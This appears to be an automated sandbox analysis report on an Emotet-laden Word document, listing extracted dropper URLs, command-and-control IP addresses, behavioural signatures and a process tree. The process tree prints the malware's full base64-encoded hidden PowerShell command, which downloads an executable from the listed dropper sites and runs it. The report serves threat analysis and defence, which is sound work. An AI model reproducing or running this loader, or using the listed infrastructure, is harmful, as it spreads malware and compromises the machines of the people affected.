Analysis

  • max time kernel
    149s
  • resource
    win10v191014
  • submitted
    13-12-2019 12:59

General

  • Target

    Docs_7fd7b14acff688e84b811d03e1831552.10.doc

  • Sample

    191213-esd3vzeq56

  • SHA256

    57fd6973ae1ee5bc249420f5bfae5737bc4c9cbbf0caac146194044d390f9efc

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://kaikeline.com/1B/

exe.dropper

http://irpot.com/css/jRk5gg/

exe.dropper

http://kartcup.net/picture_library/eqop/

exe.dropper

http://lakelass.com/cgi-bin/2dhm/

exe.dropper

http://ouimet.biz/cgi-bin/l/

Extracted

Family

emotet

C2

173.91.11.142:80

47.6.15.79:80

47.6.15.79:443

37.59.24.177:8080

66.34.201.20:7080

108.179.206.219:8080

45.56.88.91:443

101.187.134.207:443

1.33.230.137:80

110.143.57.109:80

108.191.2.72:80

47.156.70.145:80

167.71.10.37:8080

190.226.44.20:21

74.105.102.97:8080

190.147.215.53:22

24.45.193.161:7080

70.175.171.251:80

138.59.177.106:443

12.176.19.218:80

rsa_pubkey.plain

Signatures

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Windows security modification 2 TTPs 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_7fd7b14acff688e84b811d03e1831552.10.doc" /o ""
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4904
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5040
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:5068
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABKAGQAZwB5AHQAbABnAHEAbgB0AHUAPQAnAFcAaABiAGsAYwB6AGEAaQBxAHIAZwBuACcAOwAkAE8AYwB3AHkAcAB5AGQAeABtAGoAagBnAGUAIAA9ACAAJwAxADYAJwA7ACQAWQBrAG4AdABkAGoAbwBpAHQAcAA9ACcASABsAGoAZQB2AGcAaQBhAGYAaAAnADsAJABUAHUAeQBjAHgAeABsAHoAbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATwBjAHcAeQBwAHkAZAB4AG0AagBqAGcAZQArACcALgBlAHgAZQAnADsAJABGAHkAZgBzAG0AegBsAHQAPQAnAFMAZABmAGEAbwBsAGkAeQBpAHYAbgBuACcAOwAkAFUAYgBkAGwAaQB0AHcAcwBnAGwAaABzAGMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AdwBlAGIAYwBMAGkARQBOAHQAOwAkAFgAcwBjAGsAeAB5AGcAegBoAG4AcwB1AHMAPQAnAGgAdAB0AHAAOgAvAC8AawBhAGkAawBlAGwAaQBuAGUALgBjAG8AbQAvADEAQgAvACoAaAB0AHQAcAA6AC8ALwBpAHIAcABvAHQALgBjAG8AbQAvAGMAcwBzAC8AagBSAGsANQBnAGcALwAqAGgAdAB0AHAAOgAvAC8AawBhAHIAdABjAHUAcAAuAG4AZQB0AC8AcABpAGMAdAB1AHIAZQBfAGwAaQBiAHIAYQByAHkALwBlAHEAbwBwAC8AKgBoAHQAdABwADoALwAvAGwAYQBrAGUAbABhAHMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADIAZABoAG0ALwAqAGgAdAB0AHAAOgAvAC8AbwB1AGkAbQBlAHQALgBiAGkAegAvAGMAZwBpAC0AYgBpAG4ALwBsAC8AJwAuACIAUwBgAFAATABpAFQAIgAoACcAKgAnACkAOwAkAEgAbQBrAGcAcgBvAGgAcQBsAGoAbwBmAGUAPQAnAFUAZAB2AHAAbgB0AGcAegB1AHIAeAByAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEIAeQBsAHgAcABrAG4AcAB3AGwAZQBtACAAaQBuACAAJABYAHMAYwBrAHgAeQBnAHoAaABuAHMAdQBzACkAewB0AHIAeQB7ACQAVQBiAGQAbABpAHQAdwBzAGcAbABoAHMAYwAuACIARABgAG8AYAB3AE4ATABvAEEAZABGAGAASQBMAGUAIgAoACQAQgB5AGwAeABwAGsAbgBwAHcAbABlAG0ALAAgACQAVAB1AHkAYwB4AHgAbAB6AG4AKQA7ACQAUQByAGUAaABsAGEAbwBlAD0AJwBNAGIAcgB3AG0AagBnAG4AYwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFQAdQB5AGMAeAB4AGwAegBuACkALgAiAGwARQBuAGAAZwBgAFQASAAiACAALQBnAGUAIAAzADAANwA4ADMAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGEAYABSAFQAIgAoACQAVAB1AHkAYwB4AHgAbAB6AG4AKQA7ACQAWQBnAGQAYQBtAHEAbwB1AHcAYQBxAGkAPQAnAEEAdwBqAHcAZgB6AHQAZwBhAHIAcABjAGgAJwA7AGIAcgBlAGEAawA7ACQARABlAGwAbAB5AHQAeABlAGsAbgB5AD0AJwBMAG0AawBpAGMAcQBpAGoAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAHkAcgBnAG0AbABrAGkAZwBkAD0AJwBGAHgAdgBjAGMAcwB5AGoAZwBqAGwAdgBvACcA
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      • Suspicious use of AdjustPrivilegeToken
      PID:4596
      • C:\Users\Admin\16.exe
        "C:\Users\Admin\16.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        PID:4132
        • C:\Users\Admin\16.exe
          --9b97a9af
          3⤵
          • Suspicious use of SetWindowsHookEx
          • Executes dropped EXE
          • Suspicious behavior: EmotetMutantsSpam
          PID:4664
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s BITS
      1⤵
      • Drops file in Windows directory
      PID:4284
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
      1⤵
        PID:3756
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
        1⤵
          PID:784
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
          1⤵
            PID:2372
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k unistacksvcgroup
            1⤵
              PID:4504

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • memory/4132-10-0x0000000002200000-0x0000000002217000-memory.dmp

              Filesize

              92KB

            • memory/4664-12-0x0000000002100000-0x0000000002117000-memory.dmp

              Filesize

              92KB

            • memory/4664-13-0x0000000000400000-0x000000000044B000-memory.dmp

              Filesize

              300KB